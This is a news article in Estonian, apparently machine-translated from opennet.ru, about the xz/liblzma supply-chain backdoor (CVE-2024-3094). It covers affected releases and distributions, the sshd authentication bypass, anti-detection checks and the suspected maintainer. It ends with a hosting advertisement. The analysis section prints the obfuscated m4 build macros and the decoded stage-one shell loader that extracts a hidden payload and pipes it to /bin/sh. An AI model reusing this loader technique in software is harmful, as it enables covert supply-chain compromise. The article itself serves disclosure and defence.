xz/liblzma teegis avastati tagauks, mis korraldab sissenÔudmise lÀbi sshd

XZ Utils pakis, mis sisaldab liblzma raamatukogusid ja kompressitud andmete töötlemise tööriistu formaadis „.xz”, avastas tagaukse (CVE-2024-3094), mis vĂ”imaldab pĂŒĂŒda ja muuta andmeid, mida töötlevad rakendused, mis on seotud liblzma raamatukoguga. Tag ukse peamine siht on OpenSSH server, mis on seotud libsystemd raamatukoguga mĂ”ningates distributsioonides, ja see kasutab omakorda liblzma-d. sshd sidumine haavatava raamatukoguga vĂ”imaldab rĂŒndajal pÀÀseda SSH-serverisse ilma autentimiseta.

Tagaukse esinemine oli ametlikes vÀljaannetes 5.6.0 ja 5.6.1, mis avaldati 24. veebruaril ja 9. mÀrtsil ning mis on jÔudnud mÔningate distributsioonide ja hoidlate, nÀiteks Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ja 40-beta, openSUSE factory ja tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing, hulka. Soovitame kÔigile xz 5.6.0 ja 5.6.1 vÀljaanne kasutavatele kasutajatele kiiresti tagasi rullida versioonile 5.4.6.

Probleemi leevendavatest teguritest vĂ”ib mainida, et liblzma haavatav versioon ei jĂ”udnud suurte distributsioonide stabiilsete vĂ€ljaanneteni, kuid see mĂ”jutas openSUSE Tumbleweed ja Fedora 40-beta. Arch Linux ja Gentoo kasutasid haavatavat versiooni zx, kuid ei olnud rĂŒnnakute suhtes haavatavad, kuna nad ei kasuta openssh patchi systemd-notify toetamiseks, mis toob kaasa sshd sidumise liblzma-ga. Tagaukse probleem ulatub ainult x86_64 alusel ehitatud Linuxi sĂŒsteemidesse ja C raamatukogudesse Glibc.

Tagaukse aktiveerimise kood oli peidetud m4-makrosse faili build-to-host.m4, mida kasutas automake tööriistade komplekt ehitamisel. Ehitamise kÀigus, mille kÀigus tehti keerulisi obfuskeeritud operatsioone arhiivide pÔhjal (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), mis olid mÔeldud testimiseks, tekkis objektifail, millel oli pahatahtlik kood, mis kaasati liblzma raamatukogusse ja muudeti mÔnede selle funktsioonide töölogikat. Tagaukse aktiveerimise m4-makrosid leidus vabastuste tar-arhiivides, kuid puudusid Git hoidlast. Samas olid pahatahtlikud testimisarhiivid hoidlas olemas, st tagaukse sissetoomine oli olnud ligipÀÀs hoidlale ja vabastuste koostamise protsessidele.

liblzma kasutamisel rakendustes vĂ”idi pahatahtlikke muudatusi kasutada andmete pĂŒĂŒdmiseks vĂ”i muutmiseks, samuti sshd tööprotsesside mĂ”jutamiseks. Eriti suutis pahatahtlik kood asendada RSA_public_decrypt funktsiooni, et mööduda sshd autentimise protsessist. Tagauksel oli avastamisvastane kaitse ja see ei ilmunud ĂŒles seoses LANG ja TERM keskkonna muutuja mÀÀramisega (st kui protsess kĂ€ivitatakse terminalis) ning mÀÀramata keskkonna muutuja LD_DEBUG ja LD_PROFILE, ning aktiveerus ainult kĂ€ivitatava faili /usr/sbin/sshd tĂ€itmisel. Tagaukses olid ka vahendid kĂ€ivitamise avastamiseks silumise keskkondades.

Eriti failis m4/build-to-host.m4 kasutati konstruktsioone gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` 
 gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’

Esimeses konstruktsioonis leidis operatsioon grep faili tests/files/bad-3-corrupt_lzma2.xz, mille lahtipakkimise korral moodustus jĂ€rgmine skript: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Kuidas kurjategijatel Ă”nnestus pÀÀseda projekti xz infrastruktuuri, ei ole veel tĂ€ielikult selgunud. Samuti ei ole selge, kui palju kasutajaid ja projekte on tagajĂ€rjena tagaukse tĂ”ttu kompromiteeritud. Eeldatav tagaukse autori (JiaT75 — Jia Tan) puhul, kes postitas reposse nakatunud koodi arhiivid, on selgunud, et ta on olnud suhtluses Fedora arendajatega ja saatis Debianile pull-pĂ€ringuid, mis on seotud distributsioonide ĂŒleminekuga xz 5.6.0 versioonile. Ta ei tekitanud kahtlusi, kuna on osalenud xz arenduses viimase kahe aasta jooksul ning on teise positsiooni omanik muudatuste arvu poolest. Lisaks projektile xz on eeldatav tagaukse autor ka osalenud xz-java ja xz-embedded paketide arendamises. Veelgi enam, Jia Tan lisati mĂ”ned pĂ€evad tagasi XZ Embedded projekti meeskonda, mida kasutatakse Linuxi kernelis.

Pahalase muudatus tuvastati pĂ€rast analĂŒĂŒsi, mis nĂ€itas liigset CPU kasutust ja valgrindi genereeritud vigu, kui siseneti Debian sid pĂ”histele sĂŒsteemidele lĂ€bi ssh. Tasub mĂ€rkida, et xz 5.6.1 vĂ€ljaandel olid sees muudatused, mille eeldatav tagaukse autor tegi vastuseks katkestuste ja sshd hĂ€irete kohta, mis tekkisid pĂ€rast ĂŒleminekut zx 5.6.0 versioonile koos tagauksega. Lisaks tegi Jia Tan eelmisel aastal muudatusi, mis ei olnud ĂŒhilduvad „-fsanitize=address“ kontrollreĆŸiimiga, mis viis selle vĂ€ljalĂŒlitamiseni fuzzing-testimise ajal.

Allikas: opennet.ru

Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster